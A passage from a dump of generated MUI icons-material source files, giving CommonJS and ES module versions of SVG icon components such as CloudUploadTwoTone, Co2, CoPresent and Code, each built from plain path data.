    "path": "packages/mui-icons-material/lib/CloudUploadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96m-5.76.96v3h-2.91v-3H8l4-4 4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}, \"1\")], 'CloudUploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96m-5.76.96v3h-2.91v-3H8l4-4 4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}, \"1\")], 'CloudUploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudySnowing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m12 0c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m-9 4c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m3-4c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m3 4c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m3.5-6h-10C4.47 16 2 13.53 2 10.5c0-2.76 2.09-5.09 4.78-5.44C7.83 3.18 9.82 2 12 2c2.97 0 5.45 2.18 5.92 5.02C20.21 7.23 22 9.16 22 11.5c0 2.48-2.02 4.5-4.5 4.5\"\n}), 'CloudySnowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudySnowing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m12 0c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m-9 4c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m3-4c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m3 4c0 .55.45 1 1 1s1-.45 1-1-.45-1-1-1-1 .45-1 1m3.5-6h-10C4.47 16 2 13.53 2 10.5c0-2.76 2.09-5.09 4.78-5.44C7.83 3.18 9.82 2 12 2c2.97 0 5.45 2.18 5.92 5.02C20.21 7.23 22 9.16 22 11.5c0 2.48-2.02 4.5-4.5 4.5\"\n}), 'CloudySnowing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zM8 13v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H6.5v-.5h-2v3h2V13zm12.5 2.5h-2v1h3V18H17v-2.5c0-.55.45-1 1-1h2v-1h-3V12h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1\"\n}), 'Co2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zM8 13v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H6.5v-.5h-2v3h2V13zm12.5 2.5h-2v1h3V18H17v-2.5c0-.55.45-1 1-1h2v-1h-3V12h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1\"\n}), 'Co2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zM8 13v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H6.5v-.5h-2v3h2V13zm12.5 2.5h-2v1h3V18H17v-2.5c0-.55.45-1 1-1h2v-1h-3V12h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1\"\n}), 'Co2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zM8 13v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H6.5v-.5h-2v3h2V13zm12.5 2.5h-2v1h3V18H17v-2.5c0-.55.45-1 1-1h2v-1h-3V12h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1\"\n}), 'Co2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zm7 2h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H18c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h2v-1h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1M8 14c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v.25c0 .41-.34.75-.75.75-.33 0-.6-.21-.71-.5H4.5v3h2.04c.1-.29.38-.5.71-.5.41 0 .75.34.75.75z\"\n}), 'Co2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zm7 2h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H18c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h2v-1h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1M8 14c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v.25c0 .41-.34.75-.75.75-.33 0-.6-.21-.71-.5H4.5v3h2.04c.1-.29.38-.5.71-.5.41 0 .75.34.75.75z\"\n}), 'Co2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9h-5v6h5zm-1.5 4.5h-2v-3h2zM8 13v2H3V9h5v2H6.5v-.5h-2v3h2V13zm10.5 2.5v1h3V18H17v-3.5h3v-1h-3V12h4.5v3.5z\"\n}), 'Co2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9h-5v6h5zm-1.5 4.5h-2v-3h2zM8 13v2H3V9h5v2H6.5v-.5h-2v3h2V13zm10.5 2.5v1h3V18H17v-3.5h3v-1h-3V12h4.5v3.5z\"\n}), 'Co2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zM8 13v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H6.5v-.5h-2v3h2V13zm12.5 2.5h-2v1h3V18H17v-2.5c0-.55.45-1 1-1h2v-1h-3V12h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1\"\n}), 'Co2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Co2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5h-2v-3h2zM8 13v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H6.5v-.5h-2v3h2V13zm12.5 2.5h-2v1h3V18H17v-2.5c0-.55.45-1 1-1h2v-1h-3V12h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1\"\n}), 'Co2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.39 16.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'CoPresent');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.39 16.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'CoPresent');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4 4-1.79 4-4m-6 0c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m8.39 6.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 20H3c0-.72-.1-1.34.52-1.66C4.71 17.73 6.63 17 9 17s4.29.73 5.48 1.34c.63.32.52.95.52 1.66\"\n}, \"1\")], 'CoPresentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4 4-1.79 4-4m-6 0c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m8.39 6.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 20H3c0-.72-.1-1.34.52-1.66C4.71 17.73 6.63 17 9 17s4.29.73 5.48 1.34c.63.32.52.95.52 1.66\"\n}, \"1\")], 'CoPresentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.39 16.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'CoPresentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.39 16.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'CoPresentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v10h2V5h18v16h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.39 16.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'CoPresentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v10h2V5h18v16h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.39 16.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66\"\n}, \"2\")], 'CoPresentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.48 18.34C13.29 17.73 11.37 17 9 17s-4.29.73-5.48 1.34C2.9 18.66 3 19.28 3 20h12c0-.71.11-1.34-.52-1.66\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4 4-1.79 4-4m-6 0c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m8.39 6.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 20H3c0-.72-.1-1.34.52-1.66C4.71 17.73 6.63 17 9 17s4.29.73 5.48 1.34c.63.32.52.95.52 1.66\"\n}, \"3\")], 'CoPresentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoPresentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"10\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.48 18.34C13.29 17.73 11.37 17 9 17s-4.29.73-5.48 1.34C2.9 18.66 3 19.28 3 20h12c0-.71.11-1.34-.52-1.66\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v8h2V5h18v16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4 4-1.79 4-4m-6 0c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m8.39 6.56C13.71 15.7 11.53 15 9 15s-4.71.7-6.39 1.56C1.61 17.07 1 18.1 1 19.22V22h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 20H3c0-.72-.1-1.34.52-1.66C4.71 17.73 6.63 17 9 17s4.29.73 5.48 1.34c.63.32.52.95.52 1.66\"\n}, \"3\")], 'CoPresentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Code.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'Code');"
  },
  {
    "path": "packages/mui-icons-material/lib/Code.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.4 16.6 4.8 12l4.6-4.6L8 6l-6 6 6 6zm5.2 0 4.6-4.6-4.6-4.6L16 6l6 6-6 6z\"\n}), 'Code');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.17 12-4.58-4.59L16 6l6 6-3.59 3.59L17 14.17zM1.39 4.22l4.19 4.19L2 12l6 6 1.41-1.41L4.83 12 7 9.83l12.78 12.78 1.41-1.41L2.81 2.81z\"\n}), 'CodeOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/CodeOffOutlined.js",
